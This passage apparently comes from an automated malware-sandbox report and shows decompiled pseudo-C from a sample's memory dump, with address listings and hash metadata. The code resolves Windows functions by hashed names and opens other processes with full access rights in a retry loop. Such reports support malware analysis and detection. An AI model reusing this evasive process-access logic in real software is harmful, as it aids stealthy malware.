									E70A9F8C4(_t439 + 0x14, E70A9F568(_t439 + 0x10) + 4);
									 *((intOrPtr*)(E70A9F558(_t439 + 0x14, E70A9F568(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
									_t409 = E70AA2F8C(0xa5eabdf8, 0xf3119fba);
									__eflags = _t409;
									if(_t409 == 0) {
										L51:
										_t392 =  *(_t439 + 0x68);
										__eflags = _t392;
										if(__eflags == 0) {
											break;
										}
										__eflags = _t392 - 0xffffffff;
										if(__eflags != 0) {
											E70A9F8C4(_t439 + 0x40, E70A9F568(_t439 + 0x3c) + 4);
											 *(E70A9F558(_t439 + 0x40, E70A9F568(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
											E70A9CDE0(_t439 + 0x4c, __eflags);
											_t437 = _t437 + 1;
											__eflags = _t437 -  *(_t439 + 0x74);
											if(_t437 <  *(_t439 + 0x74)) {
												continue;
											}
											_t411 = 0;
											__eflags = 0;
											do {
												E70A9F558( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
												E70A9F558(_t439 + 0x40, _t411 * 4);
												_t439 = _t439 + 0xffffffd8;
												asm("cdq");
												asm("pxor xmm5, xmm5");
												asm("movd xmm1, dword [ebp]");
												asm("movd xmm4, dword [edi]");
												asm("movd xmm0, edx");
												asm("cdq");
												asm("punpckldq xmm1, xmm0");
												asm("movq xmm2, [ebx+0x38]");
												asm("movq [esp], xmm1");
												asm("movd xmm3, edx");
												asm("punpckldq xmm4, xmm3");
												asm("movq [esp+0x8], xmm2");
												asm("movq [esp+0x10], xmm4");
												asm("movq [esp+0x18], xmm5");
												asm("movq [esp+0x20], xmm5");
												E70A9AD04(__eflags);
												_t411 = _t411 + 1;
												__eflags = _t411 -  *(_t439 + 0x74);
											} while (_t411 <  *(_t439 + 0x74));
											goto L57;
										}
										break;
									}
									_t392 = _t439 + 0x68;
									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
									__eflags = 0;
									if(0 != 0) {
										break;
									}
									goto L51;
								}
								E70A9CDE0(_t439 + 0x4c, __eflags);
								goto L62;
							}
							_t402 = _t308[1];
							__eflags = _t402;
							if(_t402 <= 0) {
								goto L46;
							}
							_t412 = 0;
							__eflags = 0;
							while(1) {
								_t429 = _t412 * 4;
								_t392 =  *(E70A9F558( *((intOrPtr*)(_t439 + 4)), _t429));
								__eflags = _t392 - _t308[0xd];
								if(_t392 == _t308[0xd]) {
									break;
								}
								_t412 = _t412 + 1;
								__eflags = _t412 - _t402;
								if(_t412 < _t402) {
									continue;
								}
								goto L46;
							}
							__eflags = _t412 - 0xffffffff;
							if(_t412 != 0xffffffff) {
								_t228 = E70A9F568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t228 - _t429;
								if(_t228 > _t429) {
									_t392 = 4 + _t412 * 4;
									 *(_t439 + 0x6c) = _t392;
									_t251 = E70A9F568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t251 -  *(_t439 + 0x6c);
									if(_t251 >  *(_t439 + 0x6c)) {
										 *((intOrPtr*)(_t439 + 0x90)) = E70A9F558( *((intOrPtr*)(_t439 + 8)), _t429);
										 *((intOrPtr*)(_t439 + 0x8c)) = E70A9F558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
										E70AA382C( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E70A9F568( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
										_t439 = _t439 + 0xc;
									}
									E70A9F8C4( *((intOrPtr*)(_t439 + 8)), E70A9F568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t74 =  &(_t308[7]);
									 *_t74 = _t308[7] - 1;
									__eflags =  *_t74;
								}
								_t229 = E70A9F568( *_t439);
								__eflags = _t229 - _t429;
								if(_t229 > _t429) {
									_t413 = 4 + _t412 * 4;
									_t242 = E70A9F568( *_t439);
									__eflags = _t242 - _t413;
									if(_t242 > _t413) {
										_t243 = E70A9F558( *((intOrPtr*)(_t439 + 4)), _t429);
										 *((intOrPtr*)(_t439 + 0x94)) = E70A9F558( *((intOrPtr*)(_t439 + 4)), _t413);
										E70AA382C(_t243,  *((intOrPtr*)(_t439 + 0x98)), E70A9F568( *_t439) - _t413);
										_t439 = _t439 + 0xc;
									}
									E70A9F8C4( *((intOrPtr*)(_t439 + 4)), E70A9F568( *_t439) + 0xfffffffc);
									_t79 =  &(_t308[1]);
									 *_t79 = _t308[1] - 1;
									__eflags =  *_t79;
								}
								E70A9F8C4( *((intOrPtr*)(_t439 + 8)), E70A9F568( *((intOrPtr*)(_t439 + 4))) + 4);
								 *(E70A9F558( *((intOrPtr*)(_t439 + 8)), E70A9F568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
								_t308[7] = _t308[7] + 1;
								E70A9F8C4( *((intOrPtr*)(_t439 + 4)), E70A9F568( *_t439) + 4);
								 *(E70A9F558( *((intOrPtr*)(_t439 + 4)), E70A9F568( *_t439) + 0xfffffffc)) = _t308[0xd];
								_t308[1] = _t308[1] + 1;
							}
							goto L46;
						}
						_t433 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x70) = _t433 * 4;
							_t403 = E70A9F558(_t439 + 0x28, _t433 * 4);
							_t392 = _t308[1];
							 *(_t439 + 0x80) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L29:
								_t414 = E70AA2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t414;
								if(_t414 != 0) {
									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E70A9F558(_t439 + 0x28,  *(_t439 + 0x70)))));
									__eflags = _t416;
									if(_t416 != 0) {
										E70A9F8C4( *((intOrPtr*)(_t439 + 8)), E70A9F568( *((intOrPtr*)(_t439 + 4))) + 4);
										 *(E70A9F558( *((intOrPtr*)(_t439 + 8)), E70A9F568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
										_t308[7] = _t308[7] + 1;
										_t271 = E70A9F558(_t439 + 0x28,  *(_t439 + 0x70));
										E70A9F8C4( *((intOrPtr*)(_t439 + 4)), E70A9F568( *_t439) + 4);
										 *(E70A9F558( *((intOrPtr*)(_t439 + 4)), E70A9F568( *_t439) + 0xfffffffc)) =  *_t271;
										_t57 =  &(_t308[1]);
										 *_t57 = _t308[1] + 1;
										__eflags =  *_t57;
									}
								}
								goto L32;
							}
							_t415 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E70A9F558( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
								__eflags = _t392 -  *_t403;
								if(_t392 ==  *_t403) {
									break;
								}
								_t415 = _t415 + 1;
								__eflags = _t415 -  *(_t439 + 0x80);
								if(_t415 <  *(_t439 + 0x80)) {
									continue;
								}
								goto L29;
							}
							__eflags = _t415 - 0xffffffff;
							if(_t415 == 0xffffffff) {
								goto L29;
							}
							L32:
							_t433 = _t433 + 1;
							__eflags = _t433 -  *(_t439 + 0x20);
						} while (_t433 <  *(_t439 + 0x20));
						goto L33;
					} else {
						_t434 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x64) = _t434 * 4;
							_t404 = E70A9F558( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
							_t392 =  *(_t439 + 0x20);
							 *(_t439 + 0x7c) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L11:
								_t282 = E70A9F568( *_t439);
								__eflags = _t282 -  *(_t439 + 0x64);
								if(_t282 >  *(_t439 + 0x64)) {
									_t420 = 4 + _t434 * 4;
									_t296 = E70A9F568( *_t439);
									__eflags = _t296 - _t420;
									if(_t296 > _t420) {
										 *((intOrPtr*)(_t439 + 0x9c)) = E70A9F558( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0x98)) = E70A9F558( *((intOrPtr*)(_t439 + 4)), _t420);
										E70AA382C( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E70A9F568( *_t439) - _t420);
										_t439 = _t439 + 0xc;
									}
									E70A9F8C4( *((intOrPtr*)(_t439 + 4)), E70A9F568( *_t439) + 0xfffffffc);
									_t22 =  &(_t308[1]);
									 *_t22 = _t308[1] - 1;
									__eflags =  *_t22;
								}
								_t419 = E70AA2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t419;
								if(_t419 != 0) {
									 *_t419( *((intOrPtr*)(E70A9F558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
								}
								_t284 = E70A9F568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t284 -  *(_t439 + 0x64);
								if(_t284 >  *(_t439 + 0x64)) {
									_t422 = 4 + _t434 * 4;
									_t285 = E70A9F568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t285 - _t422;
									if(_t285 > _t422) {
										 *((intOrPtr*)(_t439 + 0xa4)) = E70A9F558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0xa0)) = E70A9F558( *((intOrPtr*)(_t439 + 8)), _t422);
										E70AA382C( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E70A9F568( *((intOrPtr*)(_t439 + 4))) - _t422);
										_t439 = _t439 + 0xc;
									}
									E70A9F8C4( *((intOrPtr*)(_t439 + 8)), E70A9F568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t33 =  &(_t308[7]);
									 *_t33 = _t308[7] - 1;
									__eflags =  *_t33;
								}
								_t434 = _t434 - 1;
								__eflags = _t434;
								goto L20;
							}
							_t421 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E70A9F558(_t439 + 0x28, _t421 * 4));
								__eflags = _t392 -  *_t404;
								if(_t392 ==  *_t404) {
									break;
								}
								_t421 = _t421 + 1;
								__eflags = _t421 -  *(_t439 + 0x7c);
								if(_t421 <  *(_t439 + 0x7c)) {
									continue;
								}
								goto L11;
							}
							__eflags = _t421 - 0xffffffff;
							if(_t421 == 0xffffffff) {
								goto L11;
							}
							L20:
							_t434 = _t434 + 1;
							__eflags = _t434 - _t308[1];
						} while (_t434 < _t308[1]);
						goto L21;
					}
				}
			}

0x70a9a5ae
0x70a9a5b0
0x70a9a5bb
0x70a9a5c1
0x70a9a5c5
0x70a9a5ca
0x70a9a5d0
0x70a9a5e0
0x00000000
0x70a9a5e2
0x70a9a5e2
0x70a9a5ed
0x70a9a5ed
0x70a9ab6b
0x70a9ab6d
0x70a9ab6e
0x70a9abad
0x70a9abb1
0x70a9abbf
0x70a9abcd
0x70a9abcd
0x70a9abb8
0x70a9abd3
0x70a9abd8
0x00000000
0x70a9abd8
0x70a9abbc
0x70a9abbd
0x00000000
0x70a9a5f7
0x70a9a5f7
0x70a9a5fb
0x70a9a702
0x70a9a702
0x70a9a707
0x70a9a818
0x70a9a81c
0x70a9a821
0x70a9a825
0x70a9a94f
0x70a9a951
0x70a9a955
0x70a9a95e
0x70a9a967
0x70a9a96b
0x70a9a974
0x70a9a97b
0x70a9a97c
0x70a9a980
0x70a9a984
0x70a9a988
0x70a9a98a
0x70a9aaf4
0x70a9aaf4
0x70a9aafc
0x70a9ab14
0x70a9ab16
0x70a9ab18
0x70a9ab52
0x70a9ab52
0x70a9ab54
0x70a9ab54
0x70a9ab57
0x70a9ab72
0x70a9ab86
0x70a9ab89
0x70a9ab8e
0x70a9ab99
0x70a9ab9a
0x70a9ab9d
0x70a9ab9f
0x70a9aba8
0x00000000
0x70a9aba8
0x70a9ab59
0x70a9ab5d
0x70a9ab66
0x00000000
0x70a9ab66
0x70a9ab29
0x70a9ab39
0x70a9ab3d
0x70a9ab3d
0x70a9ab40
0x70a9ab43
0x70a9ab46
0x70a9ab4c
0x00000000
0x00000000
0x00000000
0x70a9ab4e
0x70a9a992
0x70a9a992
0x70a9a994
0x70a9a998
0x70a9a99d
0x70a9a99f
0x70a9a9a3
0x70a9a9a6
0x70a9a9ae
0x70a9a9b0
0x00000000
0x00000000
0x70a9a9c7
0x70a9a9e2
0x70a9a9e4
0x70a9a9f7
0x70a9a9f9
0x70a9a9fb
0x70a9aa16
0x70a9aa16
0x70a9aa1a
0x70a9aa1c
0x00000000
0x00000000
0x70a9aa1e
0x70a9aa21
0x70a9aa42
0x70a9aa61
0x70a9aa67
0x70a9aa6a
0x70a9aa6f
0x70a9aa70
0x70a9aa74
0x00000000
0x00000000
0x70a9aa7c
0x70a9aa7c
0x70a9aa7e
0x70a9aa8a
0x70a9aa96
0x70a9aaa0
0x70a9aaa3
0x70a9aaa6
0x70a9aaaa
0x70a9aab1
0x70a9aab5
0x70a9aab9
0x70a9aaba
0x70a9aabe
0x70a9aac3
0x70a9aac8
0x70a9aacc
0x70a9aad0
0x70a9aad6
0x70a9aadc
0x70a9aae2
0x70a9aae8
0x70a9aaed
0x70a9aaee
0x70a9aaee
0x00000000
0x70a9aa7e
0x00000000
0x70a9aa21
0x70a9a9ff
0x70a9aa10
0x70a9aa12
0x70a9aa14
0x00000000
0x00000000
0x00000000
0x70a9aa14
0x70a9aa27
0x00000000
0x70a9aa27
0x70a9a82b
0x70a9a82e
0x70a9a830
0x00000000
0x00000000
0x70a9a838
0x70a9a838
0x70a9a83a
0x70a9a83a
0x70a9a84b
0x70a9a84d
0x70a9a850
0x00000000
0x00000000
0x70a9a946
0x70a9a947
0x70a9a949
0x00000000
0x00000000
0x00000000
0x70a9a949
0x70a9a856
0x70a9a859
0x70a9a863
0x70a9a868
0x70a9a86a
0x70a9a870
0x70a9a877
0x70a9a87b
0x70a9a880
0x70a9a884
0x70a9acbf
0x70a9acd3
0x70a9acf6
0x70a9acfb
0x70a9acfb
0x70a9a89b
0x70a9a8a0
0x70a9a8a0
0x70a9a8a0
0x70a9a8a0
0x70a9a8a6
0x70a9a8ab
0x70a9a8ad
0x70a9a8b2
0x70a9a8b9
0x70a9a8be
0x70a9a8c0
0x70a9ac7d
0x70a9ac8e
0x70a9aca8
0x70a9acad
0x70a9acad
0x70a9a8d6
0x70a9a8db
0x70a9a8db
0x70a9a8db
0x70a9a8db
0x70a9a8ef
0x70a9a90d
0x70a9a912
0x70a9a922
0x70a9a93f
0x70a9a941
0x70a9a941
0x00000000
0x70a9a859
0x70a9a70f
0x70a9a70f
0x70a9a711
0x70a9a718
0x70a9a726
0x70a9a728
0x70a9a72b
0x70a9a732
0x70a9a734
0x70a9a765
0x70a9a774
0x70a9a776
0x70a9a778
0x70a9a796
0x70a9a798
0x70a9a79a
0x70a9a7ad
0x70a9a7cc
0x70a9a7d2
0x70a9a7d5
0x70a9a7ec
0x70a9a808
0x70a9a80a
0x70a9a80a
0x70a9a80a
0x70a9a80a
0x70a9a79a
0x00000000
0x70a9a778
0x70a9a738
0x70a9a738
0x70a9a73a
0x70a9a74b
0x70a9a74d
0x70a9a74f
0x00000000
0x00000000
0x70a9a75b
0x70a9a75c
0x70a9a763
0x00000000
0x00000000
0x00000000
0x70a9a763
0x70a9a751
0x70a9a754
0x00000000
0x00000000
0x70a9a80d
0x70a9a80d
0x70a9a80e
0x70a9a80e
0x00000000
0x70a9a601
0x70a9a603
0x70a9a603
0x70a9a605
0x70a9a60c
0x70a9a61a
0x70a9a61c
0x70a9a620
0x70a9a624
0x70a9a626
0x70a9a654
0x70a9a657
0x70a9a65c
0x70a9a660
0x70a9a665
0x70a9a66c
0x70a9a671
0x70a9a673
0x70a9ac3a
0x70a9ac4b
0x70a9ac6b
0x70a9ac70
0x70a9ac70
0x70a9a689
0x70a9a68e
0x70a9a68e
0x70a9a68e
0x70a9a68e
0x70a9a6a0
0x70a9a6a2
0x70a9a6a4
0x70a9a6b5
0x70a9a6b5
0x70a9a6bb
0x70a9a6c0
0x70a9a6c4
0x70a9a6ca
0x70a9a6d1
0x70a9a6d6
0x70a9a6d8
0x70a9abee
0x70a9abff
0x70a9ac20
0x70a9ac25
0x70a9ac25
0x70a9a6ef
0x70a9a6f4
0x70a9a6f4
0x70a9a6f4
0x70a9a6f4
0x70a9a6f7
0x70a9a6f7
0x00000000
0x70a9a6f7
0x70a9a62a
0x70a9a62a
0x70a9a62c
0x70a9a63d
0x70a9a63f
0x70a9a641
0x00000000
0x00000000
0x70a9a64d
0x70a9a64e
0x70a9a652
0x00000000
0x00000000
0x00000000
0x70a9a652
0x70a9a643
0x70a9a646
0x00000000
0x00000000
0x70a9a6f8
0x70a9a6f8
0x70a9a6f9
0x70a9a6f9
0x00000000
0x70a9a605
0x70a9a5fb

Strings

, xrefs: 70A9ABB3

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 96fdd537be2c540d87c692f3fa253fb9785aab8845393d49a0db8bc27fe48534
Instruction ID: bcfd59f1a0791e0629f58bc54342ba884bdf2da319b641cef90c19d786dcd6a1
Opcode Fuzzy Hash: 96fdd537be2c540d87c692f3fa253fb9785aab8845393d49a0db8bc27fe48534
Instruction Fuzzy Hash: 881281716283019FC705DF24CA82A6EB7F5EF95610F118A1DF59A972B8DB30EC11CB86

Uniqueness

Uniqueness Score: -1.00%

Function 70A984E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E70A984E4(signed int __ecx, intOrPtr __edx) {
				void* __esi;
				void* __ebp;
				signed int* _t173;
				signed int _t178;
				void* _t180;
				void* _t181;
				intOrPtr* _t188;
				signed int _t202;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t217;
				signed int _t218;
				void* _t219;
				void* _t220;
				void* _t237;
				void* _t238;
				signed int* _t246;
				void* _t247;
				signed int* _t258;
				intOrPtr* _t269;
				signed int* _t277;
				intOrPtr* _t279;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int _t296;
				void* _t299;
				signed int* _t308;
				intOrPtr* _t310;
				signed int _t316;
				intOrPtr _t318;
				signed int* _t324;
				signed int _t325;
				signed int _t326;
				void* _t345;
				void* _t416;
				signed int _t417;
				signed int _t424;
				signed int _t432;
				intOrPtr* _t433;
				intOrPtr* _t434;
				signed int _t437;
				signed int _t441;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				void* _t451;
				signed int _t452;
				void* _t453;
				signed int _t454;
				void* _t457;
				intOrPtr* _t458;

				_push(_t435);
				_t458 = _t457 - 0xa4;
				 *_t458 = __ecx + 0x1c;
				 *((intOrPtr*)(_t458 + 0x68)) = __edx;
				 *(_t458 + 4) = __ecx;
				 *(_t458 + 0x84) = 0;
				 *((intOrPtr*)(_t458 + 0x78)) = __ecx + 4;
				while(1) {
					_t415 =  *(_t458 + 0x6c);
					E70A9B714(_t458 + 0x24,  *(_t458 + 0x6c), 0x7fffffff);
					if(E70A9F56C(_t458 + 0x24) == 0) {
						goto L3;
					} else {
						 *( *(_t458 + 4) + 0x2c) = 0;
						E70A9F6F0(_t458 + 0x24);
					}
					L60:
					_t318 = 0xffffffffffffffff;
					L62:
					if(_t318 != 0) {
						L65:
						return _t318;
					} else {
						if( *(_t458 + 0x84) != 0x20) {
							E70AA218C(0x5dc, _t415, _t435);
							 *(_t458 + 0x84) =  *(_t458 + 0x84) + 1;
							continue;
						} else {
							_t318 = 0xffffffffffffffff;
							goto L65;
						}
					}
					L71:
					L3:
					__eflags =  *( *(_t458 + 4));
					if( *( *(_t458 + 4)) > 0) {
						_t326 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x64) = _t326 * 4;
							_t434 = E70A9F558( *(_t458 + 0x7c), _t326 * 4);
							_t435 =  *(_t458 + 0x20);
							__eflags = _t435;
							if(_t435 <= 0) {
								L11:
								_t435 =  *(_t458 + 4) + 4;
								_t283 = E70A9F568( *(_t458 + 4) + 4);
								__eflags = _t283 -  *(_t458 + 0x64);
								if(_t283 >  *(_t458 + 0x64)) {
									_t451 = 4 + _t326 * 4;
									_t299 = E70A9F568(_t435);
									__eflags = _t299 - _t451;
									if(_t299 > _t451) {
										 *((intOrPtr*)(_t458 + 0x9c)) = E70A9F558(_t435,  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0x98)) = E70A9F558(_t435, _t451);
										E70AA382C( *((intOrPtr*)(_t458 + 0xa4)),  *((intOrPtr*)(_t458 + 0x9c)), E70A9F568(_t435) - _t451);
										_t458 = _t458 + 0xc;
									}
									E70A9F8C4(_t435, E70A9F568(_t435) + 0xfffffffc);
									_t308 =  *(_t458 + 4);
									 *_t308 =  *_t308 - 1;
									__eflags =  *_t308;
								}
								_t450 = E70AA2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t450;
								if(_t450 != 0) {
									 *_t450( *(E70A9F558( *(_t458 + 4),  *(_t458 + 0x64))));
								}
								_t285 = E70A9F568( *_t458);
								__eflags = _t285 -  *(_t458 + 0x64);
								if(_t285 >  *(_t458 + 0x64)) {
									_t453 = 4 + _t326 * 4;
									_t287 = E70A9F568( *_t458);
									__eflags = _t287 - _t453;
									if(_t287 > _t453) {
										_t435 = E70A9F558( *(_t458 + 4),  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0xa0)) = E70A9F558( *(_t458 + 4), _t453);
										E70AA382C(_t288,  *((intOrPtr*)(_t458 + 0xa4)), E70A9F568( *_t458) - _t453);
										_t458 = _t458 + 0xc;
									}
									E70A9F8C4( *(_t458 + 4), E70A9F568( *_t458) + 0xfffffffc);
									_t296 =  *(_t458 + 4);
									_t33 = _t296 + 0x18;
									 *_t33 =  *(_t296 + 0x18) - 1;
									__eflags =  *_t33;
								}
								_t326 = _t326 - 1;
								__eflags = _t326;
							} else {
								_t452 = 0;
								__eflags = 0;
								while(1) {
									_t310 = E70A9F558(_t458 + 0x28, _t452 * 4);
									__eflags =  *_t310 -  *_t434;
									if( *_t310 ==  *_t434) {
										break;
									}
									_t452 = _t452 + 1;
									__eflags = _t452 - _t435;
									if(_t452 < _t435) {
										continue;
									} else {
										goto L11;
									}
									goto L20;
								}
								__eflags = _t452 - 0xffffffff;
								if(_t452 == 0xffffffff) {
									goto L11;
								} else {
								}
							}
							L20:
							_t326 = _t326 + 1;
							__eflags = _t326 -  *( *(_t458 + 4));
						} while (_t326 <  *( *(_t458 + 4)));
					}
					__eflags =  *(_t458 + 0x20);
					if( *(_t458 + 0x20) > 0) {
						_t325 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x7c) = _t325 * 4;
							_t433 = E70A9F558(_t458 + 0x28, _t325 * 4);
							_t258 =  *(_t458 + 4);
							_t435 =  *_t258;
							__eflags = _t435;
							if(_t435 <= 0) {
								L29:
								_t445 = E70AA2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t445;
								if(_t445 != 0) {
									_t447 =  *_t445(0x1fffff, 0,  *((intOrPtr*)(E70A9F558(_t458 + 0x28,  *(_t458 + 0x7c)))));
									__eflags = _t447;
									if(_t447 != 0) {
										E70A9F8C4( *(_t458 + 4), E70A9F568( *_t458) + 4);
										 *(E70A9F558( *(_t458 + 4), E70A9F568( *_t458) + 0xfffffffc)) = _t447;
										 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) + 1;
										_t269 = E70A9F558(_t458 + 0x28,  *(_t458 + 0x7c));
										 *((intOrPtr*)(_t458 + 0x70)) =  *(_t458 + 4) + 4;
										E70A9F8C4( *((intOrPtr*)(_t458 + 0x74)), E70A9F568( *(_t458 + 4) + 4) + 4);
										 *((intOrPtr*)(E70A9F558( *((intOrPtr*)(_t458 + 0x74)), E70A9F568( *((intOrPtr*)(_t458 + 0x70))) + 0xfffffffc))) =  *_t269;
										_t277 =  *(_t458 + 4);
										 *_t277 =  *_t277 + 1;
										__eflags =  *_t277;
									}
								}
							} else {
								_t446 = 0;
								__eflags = 0;
								 *(_t458 + 0x88) =  &(_t258[1]);
								while(1) {
									_t279 = E70A9F558( *((intOrPtr*)(_t458 + 0x8c)), _t446 * 4);
									__eflags =  *_t279 -  *_t433;
									if( *_t279 ==  *_t433) {
										break;
									}
									_t446 = _t446 + 1;
									__eflags = _t446 - _t435;
									if(_t446 < _t435) {
										continue;
									} else {
										goto L29;
									}
									goto L32;
								}
								__eflags = _t446 - 0xffffffff;
								if(_t446 == 0xffffffff) {
									goto L29;
								} else {
								}
							}
							L32:
							_t325 = _t325 + 1;
							__eflags = _t325 -  *(_t458 + 0x20);
						} while (_t325 <  *(_t458 + 0x20));
					}
					E70A9F6F0(_t458 + 0x24);
					_t173 =  *(_t458 + 4);
					__eflags = _t173[0xb];
					if(_t173[0xb] != 0) {
						_t432 =  *_t173;
						__eflags = _t432;
						if(_t432 > 0) {
							_t435 = 0;
							__eflags = 0;
							_t324 =  &(_t173[1]);
							while(1) {
								_t441 = _t435 * 4;
								_t217 = E70A9F558(_t324, _t441);
								_t218 =  *(_t458 + 4);
								__eflags =  *_t217 -  *((intOrPtr*)(_t218 + 0x30));
								if( *_t217 ==  *((intOrPtr*)(_t218 + 0x30))) {
									break;
								}
								_t435 = _t435 + 1;
								__eflags = _t435 - _t432;
								if(_t435 < _t432) {
									continue;
								}
								goto L46;
							}
							__eflags = _t435 - 0xffffffff;
							if(_t435 != 0xffffffff) {
								_t219 = E70A9F568( *_t458);
								__eflags = _t219 - _t441;
								if(_t219 > _t441) {
									 *((intOrPtr*)(_t458 + 0x74)) = 4 + _t435 * 4;
									_t247 = E70A9F568( *_t458);
									__eflags = _t247 -  *((intOrPtr*)(_t458 + 0x74));
									if(_t247 >  *((intOrPtr*)(_t458 + 0x74))) {
										 *((intOrPtr*)(_t458 + 0x90)) = E70A9F558( *(_t458 + 4), _t441);
										 *((intOrPtr*)(_t458 + 0x8c)) = E70A9F558( *(_t458 + 4),  *((intOrPtr*)(_t458 + 0x74)));
										E70AA382C( *((intOrPtr*)(_t458 + 0x98)),  *((intOrPtr*)(_t458 + 0x90)), E70A9F568( *_t458) -  *((intOrPtr*)(_t458 + 0x74)));
										_t458 = _t458 + 0xc;
									}
									E70A9F8C4( *(_t458 + 4), E70A9F568( *_t458) + 0xfffffffc);
									_t424 =  *(_t458 + 4);
									_t75 = _t424 + 0x18;
									 *_t75 =  *(_t424 + 0x18) - 1;
									__eflags =  *_t75;
								}
								_t220 = E70A9F568(_t324);
								__eflags = _t220 - _t441;
								if(_t220 > _t441) {
									_t435 = 4 + _t435 * 4;
									_t237 = E70A9F568(_t324);
									__eflags = _t237 - _t435;
									if(_t237 > _t435) {
										_t238 = E70A9F558(_t324, _t441);
										 *((intOrPtr*)(_t458 + 0x94)) = E70A9F558(_t324, _t435);
										E70AA382C(_t238,  *((intOrPtr*)(_t458 + 0x98)), E70A9F568(_t324) - _t435);
										_t458 = _t458 + 0xc;
									}
									E70A9F8C4(_t324, E70A9F568(_t324) + 0xfffffffc);
									_t246 =  *(_t458 + 4);
									 *_t246 =  *_t246 - 1;
									__eflags =  *_t246;
								}
								E70A9F8C4( *(_t458 + 4), E70A9F568( *_t458) + 4);
								 *(E70A9F558( *(_t458 + 4), E70A9F568( *_t458) + 0xfffffffc)) =  *( *(_t458 + 4) + 0x2c);
								 *((intOrPtr*)( *(_t458 + 4) + 0x18)) =  *((intOrPtr*)( *(_t458 + 4) + 0x18)) + 1;
								E70A9F8C4(_t324, E70A9F568(_t324) + 4);
								 *((intOrPtr*)(E70A9F558(_t324, E70A9F568(_t324) + 0xfffffffc))) =  *((intOrPtr*)( *(_t458 + 4) + 0x30));
								 *( *(_t458 + 4)) =  *( *(_t458 + 4)) + 1;
							}
						}
					}
					L46:
					 *((intOrPtr*)(_t458 + 8)) = 0;
					 *((intOrPtr*)(_t458 + 0xc)) = 0;
					E70A9F620(_t458 + 0x14, 0);
					 *((intOrPtr*)(_t458 + 0x34)) =  *((intOrPtr*)(_t458 + 0x68));
					 *((intOrPtr*)(_t458 + 0x38)) = 0;
					E70A9F620(_t458 + 0x40, 0);
					_t178 =  *(_t458 + 4);
					_t416 = 0x40;
					__eflags =  *((intOrPtr*)(_t178 + 0x18)) - 0x40;
					_t417 =  <  ?  *((void*)(_t178 + 0x18)) : _t416;
					 *(_t458 + 0x80) = _t417;
					__eflags = _t417;
					if(_t417 <= 0) {
						L57:
						_t415 = E70A9F558(_t458 + 0x14, 0);
						_t180 = E70AA2878( *((intOrPtr*)(_t458 + 0xc)), _t179, 0x3e8);
						_t132 = _t180 - 0x80; // -128
						_t181 = _t132;
						__eflags = _t181 - 0x3f;
						_t316 =  <=  ? _t181 : _t180;
						__eflags = _t316 - 0x102;
						if(_t316 == 0x102) {
							goto L59;
						} else {
							__eflags = _t316 - 0x3f;
							if(_t316 <= 0x3f) {
								__eflags = _t316 << 2;
								 *((intOrPtr*)( *((intOrPtr*)(_t458 + 8)) + 0x2c)) =  *((intOrPtr*)(E70A9F558( *(_t458 + 4), _t316 << 2)));
								_t188 = E70A9F558( *(_t458 + 0x7c), _t316 << 2);
